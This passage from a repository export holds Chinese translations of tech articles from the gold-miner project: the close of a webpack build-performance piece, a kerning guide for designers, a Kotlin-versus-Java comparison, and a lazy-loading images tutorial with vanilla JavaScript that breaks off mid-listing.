无论是时间还是金钱，对您使用的工具做出贡献将为您和社区中的其他人改善这一工具的生态系统。Slack 最近为 webpack 项目做了捐赠，以确保团队能够继续工作，我们鼓励其他人也这样做。\n\n贡献也可以通过反馈的形式进行。作者往往热衷于听到他们的用户提供的更多信息，了解他们需要在哪里花费最多的精力，而且 webpack 甚至鼓励用户 [对核心团队的优先事项投票](https://webpack.js.org/vote/)。 如果你关心构建性能，或者你已经有了改进的想法，那就让你的声音被大家听到吧。\n\n### 后话\n\nwebpack 是一个梦幻般的，多功能工具，不需要花费天价。这些技术帮助我们将建造时间的中位数从 170 秒缩短到了 17 秒，尽管他们为我们的工程师们提高了部署经验，但他们并不是一个已经十分完善的项目。如果您对如何进一步提高构建性能有任何想法，我们很乐意听取您的意见。当然，如果你喜欢解决这些问题 [来和我们一起工作吧](https://slack.com/careers)!\n\n非常感谢 Mark Christian, Mioi Hanaoka, Anuj Nair, Michael “Z” Goddard, Sean Larkin and, of course, Tobias Koppers 对这篇文章和  webpack 项目做出的贡献。\n\n### 扩展阅读\n\n* [Build performance](https://webpack.js.org/guides/build-performance/)，webpack 官方文档中的介绍\n* [How we improved webpack build performance by 95%](https://blog.box.com/blog/how-we-improved-webpack-build-performance-95/) by Wenbo Yu\n* [webpack on twitter.com](https://alunny.com/articles/webpack-on-twitter-com/) by Andrew Lunny\n* [The official webpack blog](https://medium.com/webpack)\n* [How webpack works](https://raw.githubusercontent.com/sokra/slides/master/data/how-webpack-works.pdf)，一篇 Tobias Koppers  在 [EnterJS](https://www.enterjs.de) 上的演讲幻灯片\n\n感谢 [Matt Haughey](https://medium.com/@mathowie?source=post_page) 的支持。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/kerning.md",
    "content": "* 原文链接 : [A Beginner’s Guide to Kerning Like a Designer](https://designschool.canva.com/blog/kerning/)\n* 原文作者 : [Janie Kliever](https://designschool.canva.com/blog/author/janiekliever/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [cdpath](https://github.com/cdpath)\n* 校对者 : [L9m](https://github.com/L9m), [shenxn](https://github.com/shenxn)\n\n# 写给设计师的字偶距调整指南\n\n_你可曾盯着刚排版的单词或词组却觉得看上去间距有点远？_\n\n这就涉及到字偶距的问题了。字偶距是指两个字母（或其他字符，比如数字，标点符号等）之间的空白，而调整该空白可以避免看起来笨拙的单词间隙，同时提升可读性。\n\n![](http://ww1.sinaimg.cn/large/9b5c8bd8jw1f0n4he76qij20ie0dtwhp.jpg)\n\n有时字体默认的字偶距对特定的字母组合并不理想，需要手动调整让所有字母间的空白看起来和谐一致。这里有必要提一句，字偶距事关视觉感受，关心字母之间视觉距离而不是实际距离。字偶距要求调整版面设计来实现视觉上的恰当，并非为了数学上的等距。\n\n印刷字体正是因为有了几分视觉错觉而相当有趣。如果按字母间距相同的原则排版，那么眼睛看到的空白却不会是均匀的。这是因为字体各自有独特的形状，如同拼图碎片，每一对字母要彼此配合才能达到最佳效果。\n\n\n![](http://ww3.sinaimg.cn/large/9b5c8bd8jw1f0n4i8c0dzj20ie0lbq5x.jpg)\n\n\n继续阅读，了解为什么设计中字偶距如此重要，另外还有九条专家建议供您参考，像专家一样开始调整字偶距吧。\n\n\n## 为什么要将字偶距纳入设计流程\n\n\n字偶距或许看起来是无关紧要的细节，但是将其纳入设计流程的收尾阶段，当作一个可以迅速搞定的额外小步骤，可以让以排版为核心的设计项目看上去更加优雅。而对大型，极其显眼的排印标识或大标题而言，字偶距是最重要的。\n\n要进一步了解为何调整字偶距是个明智的决定，不妨想象每个字母都限制在框内。你也许看过下面这种旧旧的木质或金属活字的照片：\n\n\n![](http://ww3.sinaimg.cn/large/9b5c8bd8jw1f0n4ijh5k0j20ie0cbmzi.jpg)\n\n\n尽管基本不再使用物理活字了，现行的数字字体的实现方法仍然与之类似。每个字母仍束缚在不可见的框内，有时这些框给字母对儿引入了过多的空白，要想有看上去均匀的空白就需要框与框有重叠。在过去的打印流程中，排字工人可以在木活字上刻 V 形切口让字母与字母靠得更近，看上去更舒服。而如今，工序不再繁琐，点几下鼠标就可以搞定。\n\n\n![](http://ww1.sinaimg.cn/large/9b5c8bd8jw1f0n4iytwoxj20ie0dt40m.jpg)\n\n\n## 学习字偶距：九条专业建议\n\n\n字偶距没那么难，只需理解其工作原理。 尽管调整字偶距的主要方法仍是用眼睛盯着字间空白并手动调整来决定怎样看上去最好，你依然可以通过一些技巧简化这一过程。\n\n\n## 01. 当心特定的字母组合\n\n\n一些字母（尤其是那些有明显的斜线或突出部分的字母）因其形状难以调节字偶距。全大写字母的单词排版也需要格外留意。如果想象字母周围有无形的框，这些难缠的字母就没法紧挨框的边，只能留着难看的间隙。下面这些难搞的东西需要额外留意：\n\n- 倾斜的字母：A, K, V, W, Y\n- 有横划和字臂的字母：F, L, T\n- 字母组合：W 或 V + A（顺序随意）；T 或 F 跟着小写的元音字母\n\n如果单词中间一个难处理的字母，仔细看看该字母和其两侧字母如何相互影响。比如，PANCAKE 中第一个 A 和后面的 N 看上去不错，但是和前面的 P 的间隙过大。\n\n\n![](http://ww1.sinaimg.cn/large/9b5c8bd8jw1f0n4j61thwj20ie0dt3zk.jpg)\n\n\n## 02. 理解空白和字形的关系\n\n\n上一个建议主要关注成对的大写字母带来的问题，但是调整小写字母字距时也有难题。这是因为直形字母和圆形字母的相互组合与其自身组合看起来不同。\n\n\n排版设计者 Ilene Strizver [推荐](http://creativepro.com/typetalk-kerning-principles/) 用下述方法来排字：两个直形字母用最多的间距，直形字母和圆形字母则需要相对较少的间距从而在视觉上达到对等，而两个圆形字母搭配所需间距比前者更少。下面的例子形象化的表述可以帮助理解。希望你能看出来从左到右字母的间距（用彩条表示）在缩小。然而单独看来这些字母间距像是均匀的。\n\n![](http://ww3.sinaimg.cn/large/9b5c8bd8jw1f0n4jbmxp9j20ie0dtdgp.jpg)\n\n\n在一个真正的词上实践一下这个方法吧。观察每个字母的两边，间距排布应该和上述三种间距组合的任意一种相吻合。\n\n单词 ”headline“ 中，直形字母相邻共用相等的间距（蓝色标注），而直形与圆形字母相邻（青绿色标注）还有圆形与圆形相邻（橘色标注）。排版的结果看上去相当的一致。虽然也许根本没必要这样精确地调整字偶距，牢记这一方法有助于在排版时实现单词或词组字偶距的视觉一致，尤其是被一个看上去不对劲的字母组合难倒时。\n\n\n![](http://ww1.sinaimg.cn/large/9b5c8bd8jw1f0n4yxk1qjj20ie0e8gmn.jpg)</div>\n\n## 03\\. 留意字号\n\n\n设置的字号会影响字偶距。或者说，字号不同，字母间相互作用也不同。比如大标题设为 48 pt.，接着调整字偶距，如果把字号改到 24 pt.，之前调整字偶距的功夫就都白费了。\n\n鉴于此最好先定字号，再调整字偶距。若是处理的是 logo 之类印在名片上一个字号，印在 T 恤又是另一个字号的东西，最好分别调整字偶距。要记住，在处理大且显眼的字母时，任何字偶距错误（或者对其的无视）都会异常惹眼。\n\n\n![](http://ww3.sinaimg.cn/large/9b5c8bd8jw1f0n4jpbpymj20ie0elgn3.jpg)\n\n\n这儿有一条经验法则，尺寸较大时字偶距紧凑些也许侥幸看起来不错，但是尺寸小时字母就挤在一起了，所以宽松些的字偶距是必须的。（下一条建议会进一步解释。）\n\n\n## 04\\. 宁愿过度调整字偶距也不要冒风险\n\n\n![](http://ww3.sinaimg.cn/large/9b5c8bd8jw1f0n4jvc2fzj20ie0fsgne.jpg)\n\n过于紧凑的文本会难以阅读，字号较小时尤甚。字偶距不足的另一个坏处是字母离得太近会挨在一起，有时候看起来就是一个完全不同的字母（甚至单词！）。下面这个绝妙的例子可以充分说明问题：如果 r 和 n 的字偶距太近了会发生什么呢？它们看起来就是个 m（顺便给排印术语表加了条目）。\n\n![](http://ww1.sinaimg.cn/large/9b5c8bd8jw1f0n4qdog63j20ie0prgms.jpg)\n\n由于可读性和易读性是任何设计中涉及排版时的首要考量，所以不知如何操作时，最好把字母的字偶距拉得稍微大一些，以免让读者眼睛疲劳或造成任何可能的误解。\n\n\n## 05\\. 颠倒一下\n\n有时很难看出应该在哪里调整字偶距，因为大脑首先想要知道字母的含义是什么。一个扭转注意力的方法是把字体上下颠倒过来，这样就可以专注于字母的字形以及字偶距，而不被单词本身分心。\n\n![](http://ww4.sinaimg.cn/large/9b5c8bd8jw1f0n4rlmj4ij20ie0dt75v.jpg)\n\n\n## 06\\. 最后再调整字偶距\n\n\n就设计流程而言，字偶距调整应该是排版和涉及空白调整的工作流程的最后一步。一定要选定字体之后再开始调整字偶距，因为同一字偶距对不同字体看起来效果是不同的。正是这最后一步的字偶距调整让设计看起来更优雅，更专业。\n\n但是在开始调整字偶距之前，应该酌情花工夫看看其他几种空白调整：字距和行距。\n\n- 字距：亦称字元间距，这个「空白」决定了文本整体的紧凑或稀疏。字偶距调整的是一对儿字母的间距，而字距让选中文本使用同一间距，可以一次选中一个单词，一个句子，一段或者一页。如果有必要进行字距调整，就在调整字偶距之前做。\n- 行距：就是文本行与行之间的垂直距离。在使用文字处理软件的时候，应该设置过行距吧，这是个常见的功能。尽管没什么必要调整多行文本的字偶距，了解一下改进设计时可以调整哪些间距还是不错的。\n\n另外说明一下，不少程序可以选择许多不同的字偶距设置。除了手动调整字偶距（这个效果总是最佳的）外，还能看到字偶距的「度量标准」或「视觉」[注](参考: https://helpx.adobe.com/cn/illustrator/using/line-character-spacing.html) 选项。度量标准使用字体设计师提供的内置于字体文件中的字偶距。视觉则忽略上述设定，根据某种算法对字体重新进行空白调整和字偶距调整。[这篇文章](http://www.fonts.com/content/learning/fontology/level-2/text-typography/kerning-text-type)介绍了这些选项的工作原理以及该如何选用。\n\n\n## 07\\. 何时调整字偶距\n\n\n我们反复指出过，调整大且明显的版面的字偶距时的效果最佳，比如，大标题、标题、横幅或带文字、标识及链接的主角照片。但是大块的内文没必要调整字偶距（尤其是手动调整），因为：\n\n1) 字偶距不会对典型的内文字号，比如 10，11 或 12 点，带来可见的影响。\n\n2) 许多字体，尤其是高质量字体，有成百上千的内置字偶距配置。大多数场景下，这些调整过字偶距都会考虑字体的独有的字母形状和结构，没有必要手动调整字偶距，对成段的文本尤其如此。\n\n此外，把一整页文本过一遍，调整字偶距会耗费数小时，没有这么多时间可用。不要花这么多时间在字偶距上，应该全局考虑对哪一块进行调整可以获得最佳效果。\n\n\n## 08\\. 付诸实践\n\n\n字偶距需要身体力行的设计概念——既要理解其工作原理又要擅长使用它。除开始着手字偶距型项目外，还可以通过[Kerntype](http://type.method.ac/)这个网页游戏磨砺字偶距技巧（还能得到反馈）。\n\n\n![](http://ww4.sinaimg.cn/large/9b5c8bd8jw1f0n4uxns6ej20ie0cngn4.jpg)\n\n\n这个游戏并没有教程，工作原理如下：给你一个需要处理字偶距的单词，首尾字母是固定的，然后移动剩下的字母实现视觉上的均匀分布。\n\n\n![](http://ww2.sinaimg.cn/large/9b5c8bd8jw1f0n4x0ubz4j20ie09u3z8.jpg)\n\n\n完成后，选择 Both 并点击 Compare ，就可以看到你调整的字偶距（白色字母）与推荐方案（蓝色字母）的对比结果。和推荐方案越接近比分越高。这种练习可以帮助你适应依据视觉调整字偶距的过程。\n\n\n![](http://ww2.sinaimg.cn/large/9b5c8bd8jw1f0n4w9up6wj20ie0cs0tr.jpg)\n\n\n## 09\\. 给网页设计师的话：你也能调整字偶距！\n\n通常认为，调整字偶距是图像和排版设计师处理静态排版设计时才会用到的东西。但自从网络兴起，对字体有了解的网页设计师和程序员也想调整字偶距。现在也有一些工具可以帮助调整字偶距。[Kerning.js](http://kerningjs.com/)，就是一个用 CSS 处理网页排版中字偶距的脚本。[这里](http://webdesign.tutsplus.com/articles/the-anatomy-of-web-typography--webdesign-10533)可以学习更多与网页相关的字偶距处理及其他排版技术。\n\n\n![](http://ww3.sinaimg.cn/large/9b5c8bd8jw1f0n4xtq3lcj20ie0bj0uj.jpg)\n\n\n## 该你了……\n\n\n知道为什么字偶距很重要了？但愿如此！错误的字偶距会让设计看起来不专业（有时甚至看起来特别愚蠢），不过现在了解了在设计作品中该做什么了吧。不过要当心…… 一旦开始留意糟糕的字偶距，就会发现它无处不在，招牌和广告牌上，商品包装上，所有你能想到的地方上都有。（我已经警告你了哦！）\n\n看过我们的「排版」和「字体」分类下的其他文章了吗？我们这儿有一些特别棒的资料，对提升排版水平好处多多，比如「[如何避免初学者常犯的 20 个排版错误](https://designschool.canva.com/blog/typography-mistakes/)」和「[不得不了解的排印术语表，配有精美插图哦](https://designschool.canva.com/blog/typography-terms/)」。\n"
  },
  {
    "path": "TODO/kotlin-its-the-little-things.md",
    "content": "> * 原文地址：[Kotlin: It’s the little things](https://m.signalvnoise.com/kotlin-its-the-little-things-8c0f501bc6ea)\n> * 原文作者：[Dan Kim](https://m.signalvnoise.com/@lateplate)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[CACppuccino](https://github.com/CACppuccino)\n> * 校对者：[wilsonandusa](https://github.com/wilsonandusa) [Zhiw](https://github.com/Zhiw)\n\n---\n\n# Kotlin: 小菜一碟\nKotlin 有不少很棒的特性，而其中一些如[扩展函数](https://kotlinlang.org/docs/reference/extensions.html#extension-functions)、 [高阶函数](https://kotlinlang.org/docs/reference/lambdas.html)、和[Null 安全性](https://kotlinlang.org/docs/reference/null-safety.html)更是引人注意。 毫无疑问，这些基本而强大的特性正是这门语言的根基所在。\n\n![](https://cdn-images-1.medium.com/max/800/1*O9IHQ8ivLkRCDLBtGZvaNg.png)\n\n我喜爱这些特性，不过同时，这里也有一些你所不太知道的，却一样令我钟情的“小东西”。\n\n有一些东西小而微，可能你每天都在成百次地使用它，却感受不到任何“高级”的地方。它是这门语言的基础知识，但相比 Java，却为你节省了很多精力与时间。\n\n让我们看一下这个简洁的例子：\n\n```\n// Java\n1 | View view = getLayoutInflater().inflate(layoutResource, group);\n2 | view.setVisibility(View.GONE)\n3 | System.out.println(“View \" + view + \" has visibility \" + view.getVisibility() + \".\");\n\n// Kotlin\n1 | val view = layoutInflater.inflate(layoutResource, group)\n2 | view.visibility = View.GONE\n3 | println(“View $view has visibility ${view.visibility}.\")\n```\n\n一眼望去，Kotlin 的版本似乎看起来没什么不同，但它们的差别却很微妙，从中我们可以解读出一些长远来看令你的工作变得更棒的东西。\n\n浏览完了上面那个例子之后，让我们看看**在 Kotlin 中相对于 Java 永远无需做的五件事**\n\n**(注意：为了看的清楚，Java 总会首先展示，Kotlin 其次。代码的其余部分已被截掉，不同之处以粗体标出)**\n\n#### 1.声明变量类型\n\n```\nView view\nvs.\nval view\n```\n\nKotlin 根据赋值内容推断变量类型（这里是 `View`），而不是明确声明一个变量类型。你只需写 `val` 或 `var`, 赋值给它，就可以继续工作了，无需考虑更多。\n\n#### 2. 将字符串连接成不可读的乱码\n\n```\n“View \" + view + \" has visibility \" + view.getVisibility() + \".\"\nvs.\n“View $view has visibility ${view.visibility}.\"\n```\n\nKotlin 提供了[字符串插值](https://kotlinlang.org/docs/reference/idioms.html#string-interpolation)。它简单至极，使得对字符串的处理变得更加简单和可读，对日志记录特别有用。\n\n#### 3. 调用 getter/setter\n\n```\ngetLayoutInflater().inflate();\nview.setVisibility(View.GONE);\nview.getVisibility();\nvs.\nlayoutInflater.inflate()\nview.visibility = View.GONE\nview.visibility\n```\n\nKotlin 提供了访问器来处理 Java 的 getter 和 setter，使得它们可以像属性一样被使用。因此获得的简洁性（更少的括号和 `get` / `set` 前缀）显著提高了代码的可读性。\n\n**(有时候 Kotlin 编译器不能够解析类中的 getter/setter，因而这个特性无法使用，不过这种情况比较罕见)**\n\n#### 4. 调用令人痛苦的超长模板语句\n\n```\nSystem.out.println();\nvs.\nprintln()\n```\n\nKotlin 给你提供了许多简洁而方便的方法来帮你避免那些 Java 中长的令你痛苦的调用语句。`println`是最基本的（尽管不得不承认它不是那么实用）例子，但是 [Kotlin 的基本库](https://kotlinlang.org/api/latest/jvm/stdlib/) 有不少有用的工具减少了 Java 中固有的冗长语句，这点毋庸置疑。\n\n#### 5. 写分号\n\n```\n;\n;\nvs.\n\n```\n\n还需要我说更多吗？\n\n**荣幸地提示：虽然没有在文中展示，但再也**[**不用写 'new' 关键字**](https://kotlinlang.org/docs/reference/classes.html#creating-instances-of-classes)**了！**\n\n---\n瞧，我知道这些不是那种可以让人震惊的特性，但在几个月的工作和上万行代码之后，会让你的工作变得大不一样。这确实是那种你需要经历并赞美的事情之一。\n\n将所有这些小的东西放在一起，包括小标题中 Kotlin 的特性，你会感觉比之前好多了。🍩\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/lazy-loading-images-dont-rely-on-javascript.md",
    "content": ">* 原文链接 : [Lazy Loading Images? Don’t Rely On JavaScript!](http://robinosborne.co.uk/2016/05/16/lazy-loading-images-dont-rely-on-javascript/)\n* 原文作者 : Robin Osborne\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [jk77](http://github.com/jk77me)\n* 校对者: [mypchas6fans](http://github.com/mypchas6fans), [hpoenixf](http://github.com/hpoenixf)\n          \n\n# 懒加载图片？不要依赖 JavaScript ！\n\n现在许多网页都包含加载图片, 例如:只需访问你最喜欢的购物网站，并通过产品列表页滚动。\n\n正如你想象, 加载页面时引入所有的图片会带来不必要的臃肿, 使用户下载大量他们可能无法看到的数据, 也让页面交互变得很慢, 由于新图片载入会使得页面布局经常发生变化，从而导致浏览器重新加载页面。\n\n一个流行的解决办法是\"懒加载\"这些图片，就是说, 在用户需要看到图片之前才去加载它们。\n\n如果这项技术应用到‘头版头条’--也就是页面的第一视图部分，用户能得到明显更快的首页浏览体验。\n\n## 因此每个人都应该这样做吗？\n\n在回答这个问题之前，来看看通常是如何实现的。很容易就能找到一个合适的jQuery插件/angularjs模块，然后运行一条简单的安装命令，接下来的你都会做了，只需给image标签添增加一个新属性，或者是用JavaScript函数来处理延迟加载的图片。\n\n综上所述，是不是特别容易？\n\n我们想要达到的效果是，可以只使用html在web页面显示图片，也可以在有其他工具的时候延迟图片显示。 jquery/angularjs的解决方案都对JavaScript、jquery和angularjs有依赖，如果浏览器不支持JavaScript呢？ 如果用户不想仅仅为了实现图片懒加载而下载这些臃肿的库呢？\n\n如果有一些浏览器工具、扩展、插件、广告等等有JavaScript错误时，你的用户就不能看到网页上的图片了，似乎不太机智吧？\n\n## 逐步替换为懒加载图片\n\n鉴于潜在的局限性，让我们搞一个能解决我全部的问题的方案：\n\na. 去JavaScript化（即：懒加载是一种增强手段)\n\nb. vanilla js - 不依赖jquery/angularjs\n\nc. 可以在JavaScript失效的情况下运作(即：浏览器是支持JavaScript的，但有一个地方出现了JavaScript错误，让你的脚本损坏了，甚至可能不是你的错！)\n\n顺着这个逻辑，用一个数据属性在一个图片元素上是有道理的，并且当元素越来越接近视图时，把src属性和data-src属性进行交换，就像这样：\n\n    <img\n    src=\"1x1.gif\" \n    class=\"lazy\" \n    data-src=\"real-image.jpg\" \n    alt=\"Laziness\"\n    width=\"300px\" />\n\n然后JavaScript代码是这样的：\n\n    var lazy = document.getElementsByClassName('lazy');\n\n    for(var i=0; i<lazy.length; i++){\n     lazy[i].src = lazy[i].getAttribute('data-src');\n    }\n\n### a) 去JavaScript化\n\n看起来是合理的第一步，接着我们怎么才能修改到支持去JavaScript化？ 随着一些html的重复，将成为可能：\n\n    <img\n    src=\"1x1.gif\" \n    class=\"lazy\" \n    data-src=\"real-image.jpg\" \n    alt=\"Laziness\"\n    width=\"300px\" />\n\n    <noscript>\n        <img \n        src=\"real-image.jpg\" \n        alt=\"Laziness\"\n        width=\"300px\" />\n    </noscript>\n\n这意味着如果JavaScript被禁用，懒加载将被忽略。我在网络使用情况中，对上述代码做了快速检查。可以确认使用这些基本的 `noscript` `img` 代码不会导致多个请求！\n你不得不承认，这值得一试！\n\n### b) \t去jQuery/angularjs化\n依靠上面的HTML代码，我们可以写出下面的JavaScript函数，去做 `data-src` 到 `src` 的切换：\n\n    function lazyLoad(){\n        var lazy =\n        document.getElementsByClassName('lazy');\n\n        for(var i=0; i<lazy.length; i++){\n           lazy[i].src = \n               lazy[i].getAttribute('data-src');\n        }\n    }\n\n然后，让我们创建一个简单的事件连接起来做跨浏览器支持（因为我们没有使用jQuery）:\n\n    function registerListener(event, func) {\n        if (window.addEventListener) {\n            window.addEventListener(event, func)\n        } else {\n            window.attachEvent('on' + event, func)\n        }\n    }\n\n接着当页面加载时，注册 `lazyload` 函数去执行.\n\n    registerListener('load', lazyLoad);\n    \n现在当页面加载时我们从 `lazy` 类获取到所有图片，并且用JavaScript去加载，这当然会延迟加载，但不够聪明。\n\n听起来像是我需要一些视图逻辑，像这样(片段来自于StackOverflow)：\n\n    function isInViewport(el){\n        var rect = el.getBoundingClientRect();\n\n    return (\n        rect.bottom >= 0 && \n        rect.right >= 0 && \n\n        rect.top <= (\n        window.innerHeight || \n        document.documentElement.clientHeight) && \n\n        rect.left <= (\n        window.innerWidth || \n        document.documentElement.clientWidth)\n     );\n    }\n\n还需要增加视图检查:\n\n    function lazyLoad(){\n        var lazy = \n        document.getElementsByClassName('lazy');\n\n        for(var i=0; i<lazy.length; i++) {\n            if(isInViewport(lazy[i])){\n               lazy[i].src =\n                lazy[i].getAttribute('data-src');\n            }\n        }\n     }\n\n同时注册 `scroll` 事件:\n\n    registerListener('scroll', lazyLoad);\n\n> 注意, 这是 _不好的_ , 你不应该当用户在滚动时改变页面。这是为了懒加载的示例实现，请有空时来改善它！\n\n现在我们有了一个只会在视图内加载图片的页面，如果JavaScript被禁用，也会正常加载所有图片\n\n相关文档: [http://codepen.io/rposbo/pen/xVddNr](http://codepen.io/rposbo/pen/xVddNr)\n\n### 重构技巧\n\n在下一个需求（支持损坏的JavaScript）之前, 我想整理一下代码。会在每个滚动事件中检查所有懒加载图片, _即使这些图片已经被加载出来_ 。\n\n这在我的demo里不是个大问题，但在图片更多的时候不是最好的办法，而且感觉很乱！我想从 `lazy` 数组中移除已经加载完毕的图片。\n\n首先，移动 `lazy` 数组到一个共享变量中，在一个载入时就被调用的函数中设置：\n\n    var lazy = [];\n\n    function setLazy(){\n     lazy = document.getElementsByClassName('lazy');\n    }\n\n    registerListener('load', setLazy);\n\nOk, 现在我们有包含全部懒加载图片的数组了，但是我需要保持数据是最新的，然后移除使用过的 `data-src` 属性，接着过滤所有图片:\n\n    function lazyLoad(){\n        for(var i=0; i<lazy.length; i++){\n            if(isInViewport(lazy[i])){\n                if (lazy[i].getAttribute('data-src')){\n                    lazy[i].src = \n                     lazy[i].getAttribute('data-src');\n\n                    // remove the attribute\n                    lazy[i].removeAttribute('data-src');\n                }\n            }\n        }\n\n        cleanLazy();\n    }\n\n    function cleanLazy(){\n        lazy = \n            Array.prototype.filter.call(\n                lazy, \n                function(l){ \n                    return l.getAttribute('data-src');\n                 }\n            );\n    }\n\n这样感觉好多了，现在 `lazy` 数组将永远只包含那些尚未加载的图像。但是正如前面提到的， `onscroll` 事件中做了大量工作。\n\n这个版本在这里: [http://codepen.io/rposbo/pen/ONmgVG](http://codepen.io/rposbo/pen/ONmgVG)\n\n### c) Broken JavaScript\n\n我喜欢这个需求，棘手的挑战才有乐趣。如果浏览器支持JavaScript， `noscript` 标签会被忽略掉，可是，如我开始提到的, 浏览器可能因为某些原因不会执行JavaScript代码。\n\n\n#### 下面的怎么样？\n1.  在窗口中添加足够多的图片填满视图，即只用 `img`的 `src` 属性设置。\n2.  在这些图像有链接到一个新页面，是 _未懒加载_ 的 - 整个页面用 `<img>` 标签填充。\n3.  用css隐藏所有 `lazy` 图片。\n4。 使用JavaScript移除链接，并且移除css隐藏的 `lazy` 图片。\n\n这样想想：如果界面加载和JavaScript中断了，用户会看到满屏图片（1）并且有一个链接去“查看更多”（2），点击后会进入完整的页面（从他们离开的地方）。\n\n如果界面加载和JavaScript都是OK的，这个链接就不会在那（4），懒加载图片会随之进入视图。\n\n让我们来尝试一下。您可以使用自己网站的分析，看看普通用户的分辨率是什么，以及计算有多少子元素都适合在其初始视图，以决定把这个“查看更多”链接放在哪里（2）：\n\n    <div id=\"viewMore\">\n        <a href=\"flatpage.html#more\">View more</a>\n    </div>\n\n> 假如 `flatpage.html` 只是一个非懒加载版本的同一页，用在项目列表中的相同点的元素。\n\n现在开始隐藏懒加载图片（3），在周围增加了一个新元素:\n\n    <span id=\"nextPage\" class=\"hidden\">\n        // all lazy load items go here\n    </span>\n\n这个类的css代码:\n\n     .hidden {display:none;}\n\n下面代码会捕获Javascript代码运行出错的用户，并显示一个初始视图，还有一个到整个界面的链接。\nJavaScript代码正常的用户将会重新启用懒加载，我在 `setLazy` 函数做这些逻辑（4）：\n\n    // delete the view more link\n    document.getElementById('listing')\n        .removeChild(\n            document.getElementById('viewMore')\n        );\n\n    // display the lazy items\n    document.getElementById('nextPage')\n        .removeAttribute('class');\n\n最终代码:\n\n\n```\n<html>\n<head>\n    <style>\n        .item {width:300px; display: inline-block; }\n        .item .itemtitle {font-weight:bold; font-size:2em;}\n        .hidden {display:none;}\n    </style>\n</head>\n<body>\n    <h1>Amalgam Comics Characters</h1>\n<div id=\"listing\">\n\n    <!-- first few items are loaded normally -->\n    <div class=\"item\">\n        <img \n            src=\"http://static9.comicvine.com/uploads/scale_medium/0/229/305993-131358-dark-claw.jpg\" \n            alt=\"Dark Claw\"\n            width=\"300px\" />\n        <span class=\"itemtitle\">Dark Claw</span>\n    </div>\n    \n    <div class=\"item\">\n        <img \n            src=\"http://static6.comicvine.com/uploads/scale_super/3/31666/706536-supersoldier8.jpg\" \n            alt=\"Super Soldier\"\n            width=\"300px\" />\n        <span class=\"itemtitle\">Super Soldier</span>\n    </div>\n    \n    <div class=\"item\">\n        <img \n            src=\"http://static3.comicvine.com/uploads/scale_super/3/36899/732353-spidey.jpg\" \n            alt=\"Spider Boy\"\n            width=\"300px\" />\n        <span class=\"itemtitle\">Spider Boy</span>\n    </div>\n    \n    <!-- everything after this is lazy -->\n    <div id=\"viewMore\">\n        <a href=\"flatpage.html#more\">View more</a>\n    </div>\n    <span id=\"nextPage\" class=\"hidden\">\n        \n    <div class=\"item\">\n        <img \n            src=\"http://spacergif.org/spacer.gif\" \n            class=\"lazy\" \n            data-src=\"http://vignette1.wikia.nocookie.net/amalgam/images/7/7c/Iron_Lantern.jpg/revision/latest?cb=20110828093145\" \n            alt=\"Iron Lantern\"\n            width=\"300px\" />\n        <noscript>\n            <img \n                src=\"http://vignette1.wikia.nocookie.net/amalgam/images/7/7c/Iron_Lantern.jpg/revision/latest?cb=20110828093145\" \n                alt=\"Iron Lantern\"\n                width=\"300px\" />\n        </noscript>\n        <span class=\"itemtitle\">Iron Lantern</span>\n    </div>\n    \n    <div class=\"item\">\n        <img \n            src=\"http://spacergif.org/spacer.gif\" \n            class=\"lazy\" \n            data-src=\"http://static6.comicvine.com/uploads/scale_super/0/1867/583722-amalgam_amazon1.jpg\" \n            alt=\"Amazon\"\n            width=\"300px\" />\n        <noscript>\n            <img \n                src=\"http://static6.comicvine.com/uploads/scale_super/0/1867/583722-amalgam_amazon1.jpg\" \n                alt=\"Amazon\"\n                width=\"300px\" />\n        </noscript>\n        <span class=\"itemtitle\">Amazon</span>\n    </div>\n    \n    <div class=\"item\">\n        <img \n            src=\"http://spacergif.org/spacer.gif\" \n            class=\"lazy\" \n            data-src=\"http://static4.comicvine.com/uploads/scale_super/0/1867/583727-bizarnage1.jpg\" \n            alt=\"Bizarnage\"\n            width=\"300px\" />\n        <noscript>\n            <img \n                src=\"http://static4.comicvine.com/uploads/scale_super/0/1867/583727-bizarnage1.jpg\" \n                alt=\"Bizarnage\"\n                width=\"300px\" />\n        </noscript>\n        <span class=\"itemtitle\">Bizarnage</span>\n    </div>\n    \n    <div class=\"item\">\n        <img \n            src=\"http://spacergif.org/spacer.gif\" \n            class=\"lazy\" \n            data-src=\"http://static1.comicvine.com/uploads/scale_super/0/1867/583724-amcatsai1.jpg\" \n            alt=\"Catsai\"\n            width=\"300px\" />\n        <noscript>\n            <img \n                src=\"http://static1.comicvine.com/uploads/scale_super/0/1867/583724-amcatsai1.jpg\" \n                alt=\"Catsai\"\n                width=\"300px\" />\n        </noscript>\n        <span class=\"itemtitle\">Catsai</span>\n    </div>\n    \n    <div class=\"item\">\n        <img \n            src=\"http://spacergif.org/spacer.gif\" \n            class=\"lazy\" \n            data-src=\"http://static4.comicvine.com/uploads/scale_super/0/1867/583743-moonwing1.jpg\" \n            alt=\"Moonwing\"\n            width=\"300px\" 